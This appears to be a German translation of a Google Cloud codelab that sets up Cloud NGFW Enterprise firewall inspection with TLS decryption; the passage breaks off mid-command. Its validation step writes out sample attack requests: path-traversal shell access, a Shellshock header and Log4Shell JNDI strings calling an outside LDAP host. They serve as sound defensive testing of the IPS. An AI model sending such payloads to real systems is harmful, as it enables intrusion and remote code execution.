Cloud NGFW Enterprise-Codelab [mit TLS-Prüfung]

1. Einführung

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall ist ein vollständig verteilter Firewalldienst mit erweiterten Schutzfunktionen, Mikrosegmentierung und umfassender Abdeckung, um Ihre Google Cloud-Arbeitslasten vor internen und externen Angriffen zu schützen.

Cloud NGFW bietet folgende Vorteile:

• Verteilter Firewalldienst: Cloud NGFW bietet eine zustandsorientierte, vollständig verteilte hostbasierte Erzwingung für jede Arbeitslast, um eine Zero-Trust-Sicherheitsarchitektur zu ermöglichen.
• Vereinfachte Konfiguration und Bereitstellung: Cloud NGFW implementiert Netzwerk- und hierarchische Firewallrichtlinien, die an einen Ressourcenhierarchieknoten angehängt werden können. Diese Richtlinien bieten eine konsistente Firewall in der gesamten Google Cloud-Ressourcenhierarchie.
• Granulare Kontrolle und Mikrosegmentierung: Die Kombination aus Firewallrichtlinien und IAM-gesteuerten Tags (Identity and Access Management) bietet eine präzise Kontrolle für Nord-Süd- und Ost-West-Traffic, bis zu einer einzelnen VM in VPC-Netzwerken und -Organisationen.

Cloud NGFW ist in den folgenden Stufen verfügbar:

• Cloud Next Generation Firewall Essentials
• Cloud Next Generation Firewall Standard
• Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise fügt der verteilten Google Cloud Firewall-Struktur den Einbruchspräventionsdienst (IPS) und optionale Funktionen für die erweiterte Malware-Sandbox (WildFire) hinzu. Dabei handelt es sich um Layer-7-Prüfdienste. Die TLS-Prüfung wird unterstützt, um eine detaillierte Prüfung und Dateianalyse für TLS-verschlüsselten Traffic zu ermöglichen.

Sie können jetzt zuverlässige Layer-7-Prüfungen der Next Generation Firewall (NGFW) mit detaillierten Steuerelementen bereitstellen, ohne Änderungen an Ihrer Netzwerkarchitektur oder Ihren Routingkonfigurationen vorzunehmen.

Führen Sie die folgenden Aufgaben aus, um die Layer-7-Firewallsteuerung mit IPS und optionaler Advanced Malware Sandbox zu aktivieren und bereitzustellen:

• Erstellen Sie eine Reihe von von Google Cloud verwalteten zonalen Firewall-Endpunkten (optional mit Aktivierung der erweiterten Malware-Sandbox).
• Optional können Sie eine TLS-Prüfungsrichtlinie erstellen.
• Optional: Konfiguration der Vertrauensstellung erstellen
• Verknüpfen Sie diese Endpunkte mit den VPC-Netzwerken (Virtual Private Cloud), in denen Sie den Cloud NGFW Enterprise-Dienst benötigen.
• Nehmen Sie einfache Änderungen an Ihren vorhandenen Firewallrichtlinien und Firewallregeln vor, um die Sicherheitsprofile für die Bedrohungsprävention und optional die Advanced Malware Sandbox für die verschiedenen Traffic-Pfade anzugeben.

Netzwerk-Firewallrichtlinien

Die Netzwerk-Firewallrichtlinie dient als Container für Firewallregeln. In einer Netzwerk-Firewallrichtlinie definierte Regeln werden erst erzwungen, wenn die Richtlinie mit einem VPC-Netzwerk verknüpft ist. Jedem VPC-Netzwerk kann eine Netzwerk-Firewallrichtlinie zugeordnet sein. Netzwerk-Firewallrichtlinien unterstützen IAM-verwaltete Tags (oder einfach Tags) in Firewallregeln. Diese ersetzen die aktuellen Netzwerk-Tags und können verwendet werden, um Workloads zu kennzeichnen.

Die Möglichkeit, eine Netzwerk-Firewallrichtlinie netzwerkübergreifend zu verwenden, und die Einbindung IAM-verwalteter Tags vereinfachen die Konfiguration und Verwaltung von Firewalls erheblich.

Mit der Einführung der Netzwerk-Firewallrichtlinie bestehen die Firewallrichtlinien von Google Cloud jetzt aus den folgenden Komponenten:

1. Hierarchische Firewallrichtlinie
2. VPC-Firewallregeln
3. Netzwerk-Firewallrichtlinie ( global und regional)

Hierarchische Firewallrichtlinien werden auf Organisations- und Ordnerknoten innerhalb der Ressourcenhierarchie unterstützt, während VPC-Firewallregeln und Netzwerk-Firewallrichtlinien auf VPC-Ebene angewendet werden. Ein großer Unterschied zwischen VPC-Firewallregeln und Netzwerk-Firewallrichtlinien besteht darin, dass VPC-Firewallregeln nur auf ein einzelnes VPC-Netzwerk angewendet werden können, während Netzwerk-Firewallrichtlinien an eine einzelne VPC oder eine Gruppe von VPCs angehängt werden können. Dazu kommen weitere Vorteile wie Batch-Updates.

Schließlich gibt es noch die implizierten Firewallregeln, die in jedem VPC-Netzwerk enthalten sind:

• Eine Regel für ausgehenden Traffic mit der Aktion „Zulassen“ und dem Ziel 0.0.0.0/0
• Eine Regel für eingehenden Traffic, deren Aktion „Ablehnen“ und deren Quelle „0.0.0.0/0“ ist

Das folgende Diagramm zeigt die standardmäßige Erzwingungsreihenfolge:

Die Reihenfolge, in der VPC-Firewallregeln und die globale Netzwerk-Firewallrichtlinie erzwungen werden, lässt sich ändern. Kunden können die Reihenfolge der Erzwingung jederzeit mit einem gcloud-Befehl festlegen.

Tags

Die neuen in Netzwerk-Firewallrichtlinienregeln eingebundenen Tags sind Schlüssel/Wert-Paare, die auf der Organisations- oder Projektebene der Google Cloud-Ressourcenhierarchie definiert sind. Ein solches Tag beinhaltet eine IAM-Zugriffssteuerung, die angibt, wer was mit dem Tag tun darf. Mit Identity and Access Management-Berechtigungen (IAM) können Sie zum Beispiel angeben, welche Hauptkonten Tags Werte zuweisen und Tags an Ressourcen anhängen können. Wenn eine Netzwerk-Firewallregel auf ein Tag verweist, muss es auf eine Ressource angewendet werden, damit es erzwungen wird.

Tags entsprechen dem Google Cloud-Modell der Übernahme von Ressourcen. Das bedeutet, dass Tags und ihre Werte in der Hierarchie von oben nach unten übergeben werden. Sie können also an einer Stelle erstellt und dann von anderen Ordnern und Projekten in der gesamten Ressourcenhierarchie verwendet werden. Auf dieser Seite finden Sie weitere Informationen zu Tags und Zugriffsbeschränkungen.

Tags sollten nicht mit Netzwerk-Tags verwechselt werden. Letztere sind Strings, die Compute Engine-Instanzen hinzugefügt werden können. Sie sind mit der Instanz verknüpft und werden gelöscht, wenn die Instanz außer Betrieb genommen wird. VPC-Firewallregeln können Netzwerk-Tags enthalten. Da sie jedoch nicht als Cloud-Ressourcen gelten, unterliegen sie nicht der IAM-Zugriffssteuerung.

Beachten Sie, dass die Begriffe „Tags“ und „IAM-gesteuerte Tags“ in diesem Dokument synonym verwendet werden.

Aufgaben

Für dieses Codelab benötigen Sie ein einzelnes Projekt und die Möglichkeit, ein VPC-Netzwerk zu erstellen sowie eine Reihe von Netzwerk- und Sicherheitsressourcen zu verwalten. Es wird gezeigt, wie Cloud NGFW Enterprise IPS- und Advanced Malware Sandbox-Funktionen (WildFire) bereitstellen kann, indem:

• Northbound-Internet-Traffic mit TLS-Prüfung prüfen
• VPC-interne Abläufe [Ost-West] mit TLS-Prüfung prüfen
• [Optional] Einreichung von Dateien für die erweiterte Malware-Sandbox und Forensik für unbekannte dateibasierte Bedrohungen über TLS-geprüften Traffic konfigurieren und validieren

Die zu prüfenden Abläufe werden mithilfe von Cloud Firewall-Abgleichsparametern ausgewählt, einschließlich 5-Tupel (Quell-IP, Ziel-IP, Protokoll, Quellport, Zielport) und Tags.

Der Endzustand der Regelbasis für die Netzwerk-Firewallrichtlinie sieht in etwa so aus wie in der folgenden Tabelle:

Priorität	Richtung	Target	Quelle	Ziel	Aktion	Typ
100	Eingehender Traffic	Server_Tag	Systemdiagnosen	Alle	Zulassen	Essentials
200	Eingehender Traffic	Client_Tag, Server_Tag	IAP	Alle	Zulassen	Essentials
800	Eingehender Traffic	Server_Tag	10.0.0.0/24	10.0.0.0/24	L7-Prüfung	Unternehmen
850	Ausgehender Traffic	Client_Tag	Alle	10.0.0.0/24	Zulassen	Essentials
900	Ausgehender Traffic	Client_Tag	Alle	Alle	L7-Prüfung	Unternehmen

Lerninhalte

• Netzwerk-Firewallrichtlinie erstellen
• Tags mit Netzwerk-Firewallrichtlinien erstellen und verwenden
• Hier erfahren Sie, wie Sie Cloud NGFW Enterprise mit TLS-Prüfung konfigurieren und verwenden.
• [Optional] Erweiterte Malware-Sandbox (WildFire) für unbekannte dateibasierte Bedrohungen konfigurieren und validieren

Voraussetzungen

• Google Cloud-Projekt.
• Kenntnisse über die Bereitstellung von Instanzen und die Konfiguration von Netzwerkkomponenten.
• Kenntnisse zur VPC-Firewallkonfiguration.

2. Hinweis

Variablen erstellen/aktualisieren

In diesem Codelab werden $variablen verwendet, um die Implementierung der gcloud-Konfiguration in Cloud Shell zu vereinfachen.

Führen Sie in Cloud Shell die folgenden Befehle aus und ersetzen Sie die Informationen in den Klammern nach Bedarf:

Hinweis: Sie können die Organisations-ID auch über die Cloud Console oder gcloud projects get-ancestors [project-id] abrufen.

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

Hinweis: Wenn Sie bereits mit Google Cloud gearbeitet haben und gcloud installiert, auf dem neuesten Stand und für Ihr Projekt authentifiziert ist, können Sie für dieses Lab auch Ihren lokalen Computer anstelle von Cloud Shell verwenden. Sofern nicht anders angegeben, sollten alle gcloud-Befehle auf einem Computer ausgeführt werden, auf dem bereits ***gcloud*** installiert ist, oder in Cloud Shell.

3. APIs aktivieren

Aktivieren Sie die APIs, falls noch nicht geschehen:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise-Endpunkterstellung

Hinweis: Zum Erstellen von Sicherheitsprofilen und Firewall-Endpunkten in Ihrer Organisation sind die erforderlichen IAM-Rollen erforderlich (nicht im Rahmen dieses Codelabs).

Da die Erstellung des Cloud NGFW Enterprise-Endpunkts etwa 20 Minuten dauert, wird er zuerst erstellt. Die grundlegende Einrichtung kann parallel zur Erstellung des Endpunkts erfolgen.

Erstellen Sie das Sicherheitsprofil und die Sicherheitsprofilgruppe:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Erwartete Ausgabe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Prüfen Sie, ob die Ressourcen erfolgreich erstellt wurden:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Hinweis: Wenn Sie den Abschnitt [Optional] Erweiterte Malware-Sandbox (WildFire) konfigurieren am Ende dieses Codelabs durcharbeiten möchten, können Sie die erweiterte Malware-Sandbox jetzt aktivieren, damit sie bei der ersten Endpunkterstellung konfiguriert wird:

1. Akzeptieren Sie die einmalige Endnutzer-Lizenzvereinbarung (EULA) für die erweiterte Malware-Sandbox (WildFire) auf $billing_project. Die EULA kann nur in der Google Cloud Console akzeptiert werden: Rufen Sie Netzwerksicherheit > Firewall-Endpunkte auf, beginnen Sie mit dem Erstellen eines Endpunkts, der $billing_project verwendet, wählen Sie unter Erweiterte Konfiguration die Option Advanced Malware Sandbox (WildFire) aktivieren aus und klicken Sie auf Zustimmen und fortfahren.
2. Führen Sie den folgenden gcloud-Befehl mit --enable-wildfire anstelle des standardmäßigen create-Befehls aus:

gcloud network-security firewall-endpoints create $prefix-$zone --zone=$zone --organization $org_id --billing-project=$billing_project --enable-wildfire --no-async

Wenn die EULA nicht akzeptiert wurde, schlägt die Endpunkterstellung fehl.

Erstellen Sie den Cloud NGFW Enterprise-Endpunkt:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Führen Sie den folgenden Befehl aus, um zu prüfen, ob der Endpunkt erstellt wird (CREATING) oder ACTIVE ist, wenn Sie --no-async verwendet haben.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Erwartete Ausgabe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Die Erstellung dauert etwa 20 Minuten. Fahren Sie mit dem Abschnitt „Grundeinrichtung“ fort, um die erforderlichen Ressourcen parallel zu erstellen.

5. Grundlegende Einrichtung

VPC-Netzwerk und Subnetz

VPC-Netzwerk und Subnetz

Erstellen Sie das VPC-Netzwerk und das Subnetz:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Erstellen Sie den Cloud Router und das Cloud NAT-Gateway:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instanzen

Hinweis: Aus Sicherheitsgründen wird in diesem Codelab davon ausgegangen, dass Identity-Aware Proxy für die TCP-Weiterleitung aktiviert ist, um SSH-Zugriff zu ermöglichen, ohne den Instanzen öffentliche IP-Adressen zuzuweisen. Konfigurieren Sie sie, bevor Sie fortfahren.

Erstellen Sie die Client- und Webserverinstanzen:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tags auf Projektebene

Hinweis: In diesem Codelab wird davon ausgegangen, dass der Nutzer die erforderlichen Berechtigungen zum Verwalten und Verwenden von Tags hat. Falls nicht, weisen Sie ihm die entsprechende Rolle zu.

Weisen Sie dem Nutzer bei Bedarf die Berechtigung „tagAdmin“ zu:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Erstellen Sie den Tag-Schlüssel und die Tag-Werte auf Projektebene:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Binden Sie die Tags an die Instanzen:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Globale Netzwerk-Firewallrichtlinie

Globale Netzwerk-Firewallrichtlinie erstellen:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Erstellen Sie die erforderlichen Cloud Firewall Essential-Regeln, um Traffic aus den Bereichen health-check und identity-aware proxy zuzulassen:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Erstellen Sie die erforderlichen Cloud Firewall-Regeln, um eingehenden Ost-West-Traffic / Traffic innerhalb des Subnetzes aus den spezifischen Bereichen zuzulassen. Diese Regeln werden aktualisiert, um Cloud NGFW Enterprise mit TLS-Prüfung zu aktivieren:

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Verknüpfen Sie die Cloud Firewall-Richtlinie mit dem VPC-Netzwerk:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud Firewall-Endpunktverknüpfung

Hinweis: Für diesen Schritt sind Berechtigungen auf Organisationsebene erforderlich, die nicht im Rahmen dieses Codelabs behandelt werden.

Definieren Sie die Umgebungsvariablen, falls Sie dies noch nicht getan haben und/oder den Script-Ansatz bevorzugen.

Prüfen Sie, ob der Cloud Firewall-Endpunkt erfolgreich erstellt wurde. Fahren Sie erst fort, wenn der Status ACTIVE lautet. Während der Erstellung wird der Status CREATING angezeigt:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Erwartete Ausgabe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Hinweis: Achten Sie darauf, dass der Status des Cloud Firewall-Endpunkts AKTIV ist, bevor Sie fortfahren.

Verknüpfen Sie den Cloud Firewall-Endpunkt mit dem VPC-Netzwerk:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Die Verknüpfung dauert etwa 10 Minuten. Fahren Sie erst mit dem TLS-Abschnitt fort, wenn der Status ACTIVE lautet. Während der Erstellung ist der erwartete Status CREATING:

gcloud network-security firewall-endpoint-associations list

Erwartete Ausgabe nach Abschluss:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Erwartete Ausgabe:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

Hinweis: Der Verknüpfungsstatus der Cloud Firewall muss ACTIVE sein, bevor Sie fortfahren.

7. TLS-Ressourcen konfigurieren

Erstellen Sie einen CA-Pool. Diese Ressource wird verwendet, um das Root-CA-Zertifikat zu speichern, das wir für NGFW Enterprise generieren.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Erstellen Sie die Stamm-CA. Dies ist das CA-Zertifikat, das zum Signieren zusätzlicher Zertifikate für Anfragen über NGFW Enterprise verwendet wird.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Wenn die folgende Meldung angezeigt wird, antworten Sie mit y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Erstellen Sie ein Dienstkonto. Dieses Dienstkonto wird zum Anfordern von Zertifikaten für NGFW Enterprise verwendet:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Legen Sie IAM-Berechtigungen für das Dienstkonto fest:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$[e-mail] --role=roles/privateca.certificateRequester

Erstellen Sie die YAML-Datei für die TLS-Richtlinie. Diese Datei enthält Informationen zu den spezifischen Ressourcen:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importieren Sie die TLS-Prüfungsrichtlinie:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Aktualisieren Sie die Endpunktverknüpfung, um TLS zu aktivieren:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Rufen Sie das CA-Zertifikat ab und fügen Sie es dem CA-Speicher des Clients hinzu:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Übertragen Sie das CA-Zertifikat auf den Client:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Stellen Sie eine SSH-Verbindung zur VM her, verschieben Sie das CA-Zertifikat nach /usr/local/share/ca-certificates und aktualisieren Sie den CA-Speicher:

Hinweis: Aus Sicherheitsgründen wird in diesem Codelab davon ausgegangen, dass Identity-Aware Proxy für die TCP-Weiterleitung aktiviert ist, um SSH-Zugriff zu ermöglichen, ohne den Instanzen öffentliche IP-Adressen zuzuweisen. Konfigurieren Sie sie, bevor Sie fortfahren. Der Traffic aus dem IAP-Bereich [35.235.240.0/20] wurde beim Erstellen der globalen Netzwerk-Firewallrichtlinie zugelassen.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Kehren Sie zu Cloud Shell zurück.

Signierungsprozess für Serverzertifikate:

Installieren Sie in Cloud Shell die Pyca-Kryptografiebibliothek mit dem pip-Befehl:

pip install --user "cryptography>=2.2.0"

Damit das Google Cloud SDK die Pyca-Kryptografiebibliothek verwenden kann, müssen Sie Site-Packages aktivieren.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Erstellen Sie das Serverzertifikat:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Dadurch werden die Dateien „cert.pem“ und „key.pem“ in Cloud Shell generiert. Übertragen Sie als Nächstes das Zertifikat und den Schlüssel auf den Server.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Stellen Sie eine SSH-Verbindung zum Server her, um die Zertifikatsdetails für Apache zu aktualisieren:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Verschieben Sie das Zertifikat und den Schlüssel in einen bestimmten Ordner:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Aktualisieren Sie die SSL-Konfiguration, um das signierte Zertifikat zu verwenden:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Starten Sie Apache neu:

sudo systemctl restart apache2

Prüfen Sie den Apache-Status:

sudo systemctl status apache2

Er sollte aktiv sein (ausgeführt werden).

Beenden Sie die VM und fahren Sie in Cloud Shell fort.

8. Northbound- und Ost-West-Verbindungen validieren

Führen Sie die folgenden Befehle in Cloud Shell aus und notieren Sie sich die zu verwendenden Ziel-IP-Adressen:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Öffnen Sie einen neuen Tab und initiieren Sie eine SSH-Verbindung zur Client-VM über IAP. Sie müssen die Variablen im neuen Tab definieren:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Führen Sie die folgenden Befehle aus und notieren Sie sich die zu verwendenden Ziel-IP-Adressen. Erstellen Sie die Variablen und ersetzen Sie die Werte in Klammern durch die im vorherigen Schritt notierten IP-Adressen. Achten Sie darauf, dass sie erreichbar sind:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Führen Sie einen Curl-Befehl für die private IP-Adresse aus und prüfen Sie, ob sie erreichbar ist:

curl https://$target_privateip --max-time 2

Erwartete Ergebnisse für die curl-Anfrage:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Senden Sie Beispielangriffe an die IP-Adresse. Der Webserver sollte auf alle Anfragen antworten und bestätigen, dass keine L7-Prüfung/-Prävention vorhanden ist:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Beispiel für erwartete Ergebnisse (private IP-Adresse):

400
404
400
200
200

Senden Sie auf ähnliche Weise Anfragen an ein Internetziel:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Beispiel für erwartete Ergebnisse (Internet-Ziel):

400
404
400
403
403

Beenden Sie das VM-Terminal und kehren Sie zur Cloud Shell zurück.

9. Firewallregeln für die TLS-Prüfung erstellen und aktualisieren

Zuvor haben wir eine Firewallregel konfiguriert, um eingehenden Traffic vom internen Subnetz zu unserem Server zuzulassen. Wir aktualisieren jetzt die vorhandenen Regeln für eingehenden Traffic und legen die Aktion auf „apply_security_profile_group“ fest. Dadurch wird die E/W-L7-Prüfung mit TLS aktiviert:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Erstellen Sie eine neue Regel, um die L7-Prüfung für den Nord-Süd-Traffic mit TLS zu prüfen.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
